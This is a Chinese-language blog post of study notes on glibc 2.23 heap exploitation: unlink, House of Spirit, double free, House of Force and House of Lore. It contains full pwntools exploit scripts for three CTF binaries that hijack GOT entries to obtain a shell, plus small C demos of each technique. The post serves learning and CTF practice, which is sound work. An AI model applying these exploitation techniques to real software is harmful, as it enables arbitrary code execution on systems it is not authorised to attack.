heap_details
堆利用学习
Unlink
//glibc 2.23 unlink define:
#define unlink(AV, P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action, "corrupted double-linked list", P, AV);
else
{
FD->bk = BK;
BK->fd = FD;
...
....
}
//glibc 2.27
#define unlink(AV, P, BK, FD)
{
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
malloc_printerr("corrupted double-linked list");
else
{
FD->bk = BK;
BK->fd = FD;
}
Unlink利用原理是通过堆溢出写入的字节覆盖后一个chunk,修改了nextchunk->size的prev_in_use为0,free(small_chunk or large_chunk)的时候,就会unlik current chunk。控制P->fd 和 P->bk 为合适的字节,在合适的情况下可以达到任意地址读写 ,威力巨大。
一种情况是:
有一个chunk list,记录一下堆的指针。
X 在 chunk_list 的地址区间中,*X = P。
改P->fd = X-0x18; P->bk = X-0x10;
执行unlink(P)时,FD = X-0x18; BK = X-0x10;
FD->bk = BK. <=> *(X-0x18+0x18) = *(X)= X-0x10;
BK->fd = FD <=> *(x-0x10+0x10) = *(X) = X-0x18;
这样在chunk_list中的X地址构造了伪heap chunk,通过程序的功能(比如edit or change 函数,堆题目一般有这些功能)。通过edite修改*(X)的内容后,chunk_list的内容也被修改,而且内容任意改写。再通过edit可以实现任意地址写入。后续就是leak @got,为所欲为。
2014 HITCON stkof
glibc为2.23
逆向分析,满足上述利用条件。
#!/usr/bin/env python
from pwn import *
bn = process('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',False)
puts_libc = libc.symbols['puts']
context.terminal = ['tmux','splitw','-h']
#gdb.attach(bn,'b *0x0400B07')
#context.log_level = 'debug'
def add(size):
bn.sendline('1');sleep(0.05)
bn.sendline(str(size));sleep(0.05)
def delete(idx):
bn.sendline('3');sleep(0.05)
bn.sendline(str(idx));sleep(0.05)
def edit(idx,content):
bn.sendline('2');sleep(0.05)
bn.sendline(str(idx));sleep(0.05)
bn.sendline(str(len(content)));sleep(0.05)
bn.send(content);sleep(0.05)
def show(idx):
bn.sendline('4');sleep(0.05)
bn.sendline(str(idx));sleep(0.05)
pool = 0x00602140+0x8*4 #4
x = pool
fd = x - 0x18
bk = x-0x10
print(hex(fd),hex(bk))
for i in range(4):
add(0x30)
add(0xf0)
puts_got = 0x602020
free_got = 0x602018
puts_plt = 0x400760
payload = p64(0)+p64(0)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+'\x00'
edit(4,payload)
delete(5)
payload = p64(free_got)+p64(puts_got)
edit(4,payload)
edit(1,p64(puts_plt))
delete(2)
for i in range(9):
bn.recvuntil('OK\n')
real_puts = u64(bn.recvn(6)+'\x00'*2)
print(hex(real_puts))
base = real_puts-puts_libc
one = base + 0xf1147
edit(1,p64(one))
delete(3)
bn.interactive()
House of spirit
binary : oreo (ctf-wiki) ;
download link: https://github.com/primelyw/pwn
运行ELF,初步观察:
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action:
Ida 分析:
.bss:0804A2A0 order_cnt dd ? ; DATA XREF: func3+5A↑r
.bss:0804A2A0 ; func3+62↑w ...
.bss:0804A2A4 rifle_cnt dd ? ; DATA XREF: func1+C5↑r
.bss:0804A2A4 ; func1+CD↑w ...
.bss:0804A2A8 ; char *dword_804A2A8
.bss:0804A2A8 dword_804A2A8
0x804A2A0 订单数量
0804A2A4 枪支数量
0804A2A8 地址,留言地址。
增加枪支数量的函数
unsigned int func1()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = rifle_chunk;
rifle_chunk = (char *)malloc(0x38u);
if ( rifle_chunk )
{
*((_DWORD *)rifle_chunk + 13) = v1;
printf("Rifle name: ");
fgets(rifle_chunk + 25, 56, stdin);
pro_read(rifle_chunk + 25);
printf("Rifle description: ");
fgets(rifle_chunk, 56, stdin);
pro_read(rifle_chunk);
++rifle_cnt;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}
0x38大小的chunk。
0~24 description
25~51 name 存在溢出,可以修改 next_ptr
52~56 next_ptr
增加订单,清空枪支数量的函数
unsigned int func3()
{
char *ptr; // ST18_4
char *v2; // [esp+14h] [ebp-14h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
v2 = rifle_chunk;
if ( rifle_cnt )
{
while ( v2 )
{
ptr = v2;
v2 = (char *)*((_DWORD *)v2 + 13);
free(ptr);
}
rifle_chunk = 0;
++order_cnt;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return __readgsdword(0x14u) ^ v3;
链表删除枪支,无法 double_free
显示枪支信息的函数
unsigned int func2()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = rifle_chunk; i; i = (char *)*((_DWORD *)i + 13) )
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
枪的数据结构 chunk 中的 next_ptr 可以被修改,通过该函数泄漏got地址。
留言函数
unsigned int func4()
{
unsigned int v0; // ST1C_4
v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
pro_read(dword_804A2A8);
return __readgsdword(0x14u) ^ v0;
}
利用思路:
- 通过输入溢出修改枪的结构 next_ptr 为got的地址。计算出system地址
- House of spirit 。通过func2将它free掉。目标在得到写入0x804A2A8的权限
- 0x804A2A8改写为got地址。通过func4改写got
利用脚本如下:
#coding=utf8
from pwn import *
p = process('./oreo')
elf = ELF('./oreo')
printf_got = elf.got['printf']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
strlen_got = elf.got['strlen']
printf_base = libc.symbols['printf']
sys_base = 0x3ada0
def add(name,note):
#p.recvuntil('Action:')
sleep(0.001);p.sendline('1');
#p.recvuntil('Rifle name: ')
p.sendline(name);sleep(0.001)
#p.recvuntil('Rifle description: ')
p.sendline(note);sleep(0.001)
def show():
p.sendline('2');sleep(0.001)
def order():
p.sendline('3');sleep(0.001)
def leave_note(note):
p.sendline('4');sleep(0.001)
p.sendline(note);sleep(0.001)
add('a'*27+p32(printf_got),'ha')
show()
p.recvuntil('Description: ');p.recvuntil('Description: ')
printf_real = u32(p.recv(4))
print printf_real
for i in range(0x3f):
add('a','a')
add('a'*27+p32(0x804A2A8),'hahha')
leave_note((0x20-4) * 'a'+p32(0) + p32(0x40) + p32(0x100))
order()
add('ok',p32(strlen_got)+'hahhaa')
sys_real = printf_real +sys_base - printf_base;
leave_note(p32(sys_real)+';/bin/sh')
p.interactive()
Double free
binary: noinfoleak (西湖论剑线上赛)
download link: https://github.com/primelyw/pwn
测试fastbin 的大小脚本
#include <stdio.h>
#include <stdlib.h>
int main(){
for(int size = 1; size<=120; size++ ){
void *p = malloc(size);
printf("(%d,0x%llx)\n",size,*((long long *)p-1));
}
return 0;
}
运行程序初步观察
root@prime:/ctf/work/pwn# ./noinfoleak
>1
>3
>4
>5
No Such Choice
>
No Such Choice
>
No Such Choice
>
No Such Choice
>
没有任何可利用的输出。
ida分析
函数 func1 , 16个单元,每个单元为16Bytes,前8Bytes 为note的地址,后8Bytes为note大小。
void sub_40090A()
{
signed int i; // [rsp+8h] [rbp-8h]
int v1; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !qword_6010A0[2 * i] )
{
putchar(62);
v1 = readnum();
if ( v1 > 0 && v1 <= 127 )
{
qword_6010A0[2 * i + 1] = (void *)v1;
qword_6010A0[2 * i] = malloc(v1 + 1);
putchar(62);
read(0, qword_6010A0[2 * i], v1);
}
return;
}
}
}
函数2 ,删除留言 free
void f2()
{
int v0; // [rsp+Ch] [rbp-4h]
putchar(62);
v0 = readnum();
if ( v0 >= 0 && v0 <= 15 )
free(qword_6010A0[2 * v0]);
}
函数3 ,修改留言。
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]
putchar(62);
result = readnum();
v1 = result;
if ( result >= 0 && result <= 15 )
{
putchar(62);
result = read(0, qword_6010A0[2 * v1], (size_t)qword_6010A0[2 * v1 + 1]);
}
return result;
利用思路:
- Double Free 得到 0x6010A0 写权限。
- 为所欲为,泄漏got,修改为system。
利用脚本如下:
from pwn import *
p = process('./noinfoleak')
elf = ELF('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
free_got = elf.got['free']
read_got = elf.got['read']
puts_plt = elf.symbols['puts']
read_base = libc.symbols['read']
sys_base = libc.symbols['system']
fake_chunk = 0x601085-8
target = 0x6010a0
def add(sz,cont):
p.sendafter('>','1')
p.sendafter('>',str(sz))
p.sendafter('>',cont)
def delete(idx):
p.sendafter('>','2')
p.sendafter('>',str(idx))
def edit(idx,cont):
p.sendafter('>','3')
p.sendafter('>',str(idx))
p.sendafter('>',cont)
add(100,'1') #0
add(100,'2') #1
add(30,'top_chunk_defense') #2
delete(0)
delete(1)
delete(0)
add(100,p64(fake_chunk))#3
add(100,'2')#4
add(100,'1')#5
pay = 'a'*(target-fake_chunk-16)+p64(free_got)+p64(100)+p64(read_got)+p64(100)
add(100,pay)#6
edit(0,p64(puts_plt))
delete(1)
read_real = u64(p.recv(6)+'\x00\x00')
sys_real = read_real + sys_base-read_base
print hex(read_real)
edit(0,p64(sys_real))
edit(2,'/bin/sh\x00')
delete(2)
p.interactive()
glibc-2.23 代码 Check
// malloc
// fastbin
#define fastbin_index(sz) ((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
// smallbins
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// process unsorted bin;
// victim is the top chunk of unsorted bin.
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
/* place unsorted bin's chunk in corresponding bin */
// split chunks into victim and remainder chunk.
// push remainder chunk into unsorted bin,there is a check;
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
// free
// general check, check chunk pointer and size;
// pinter > (unsigned )-size or misaligned(pointer) ---> printerr
if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) || __builtin_expect(misaligned_chunk(p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void)mutex_unlock(&av->mutex);
malloc_printerr(check_action, errstr, chunk2mem(p), av);
return;
}
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
{
errstr = "free(): invalid size";
goto errout;
}
//fastbin check:
//check the size of victim's next chunk
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
{
if (have_lock || ({
assert(locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
//double free check (fastbin)
if (__builtin_expect(old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
// check fastbin top size;
if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
/* checks before pushing the chunk into unsorted bin;*/
// top check:
if (__glibc_unlikely(p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
//
if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
// current chunk is in use.
if (__glibc_unlikely(!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
// nextchunk's size must be valid;
nextsize = chunksize(nextchunk);
if (__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
// push chunk into unsorted chunk;
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
malloc.c 源码分析
MALLOC_ALIGNMENT = 2*SIZE_SZ (64 : 8,32 : 4)
MIN_LAEGE_SIZE = 64*MALLOC_ALIGNMENT (64:0x400,32:0x200)
DEFAULT_MXFAST = 64 *SIZE_SZ /4 (64:0x80,32:0x40)
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
攻击Demo
double free
#include <stdlib.h>
#include <stdio.h>
int main(){
printf("Designed by primeleen\n");
printf("Hello,this double free demo.\n");
unsigned long long fake = 0x20;
void *p1 = malloc(10);
void *p2 = malloc(10);
free(p1);free(p2); free(p1);
unsigned long long * tar = (unsigned long long *)malloc(10);
*tar = (unsigned long long)((char*)&fake-0x8);
malloc(10);malloc(10);
void *victim = malloc(10);
printf("%p\n",victim);
return 0;
}
House of force
#include <stdio.h>
#include <stdlib.h>
char victim[20] = "Prime is Here";
int main(){
printf("%s\n",victim);
void *p = malloc(0x10);
void *top_chunk = p+0x20-0x10;
*(long long *)(top_chunk+8) = -1;
printf("%llx\n",*(long long *)(top_chunk+8));
long long request_size = (char*)victim-(char*)top_chunk-0x10-8;
printf("size:%llx\n",request_size);
malloc(request_size);
char *ptr = malloc(0x20);
printf("Hacked! %s\n",ptr);
return 0;
}
House of spirit
#include <stdio.h>
#include <stdlib.h>
int main(){
long long * fake[20];
malloc(0x30);
fake[1] = fake[9] = (long long *)0x40;
free((long long *)&fake[2]);
void *p = malloc(0x30);
printf("%p",p);
return 0;
}
House of lore
#include <stdlib.h>
#include <stdio.h>
typedef unsigned long long ull;
typedef struct small_chunk{
ull pre_size;
ull size;
struct small_chunk *fd;
struct small_chunk *bk;
char buf[0x100];
}small_chunk;
int main(){
small_chunk fake,sub_fake;
printf("fake_addr:%p\n",&fake);
void *ptr= malloc(0x100);
small_chunk * victim;
malloc(0x20);
free(ptr);
malloc(0x120);
victim = (small_chunk*)(ptr-0x10);
victim->bk = &fake;
fake.fd = victim;
fake.bk = &sub_fake;
sub_fake.fd = &fake;
malloc(0x100);
victim = malloc(0x100);
printf("%p\n",victim);
return 0;
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:heap_details
本文作者:枫云李
发布时间:2019-10-20, 00:00:00
最后更新:2020-04-02, 01:02:33
原始链接:https://primelyw.github.io/2019/10/20/heap_details/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。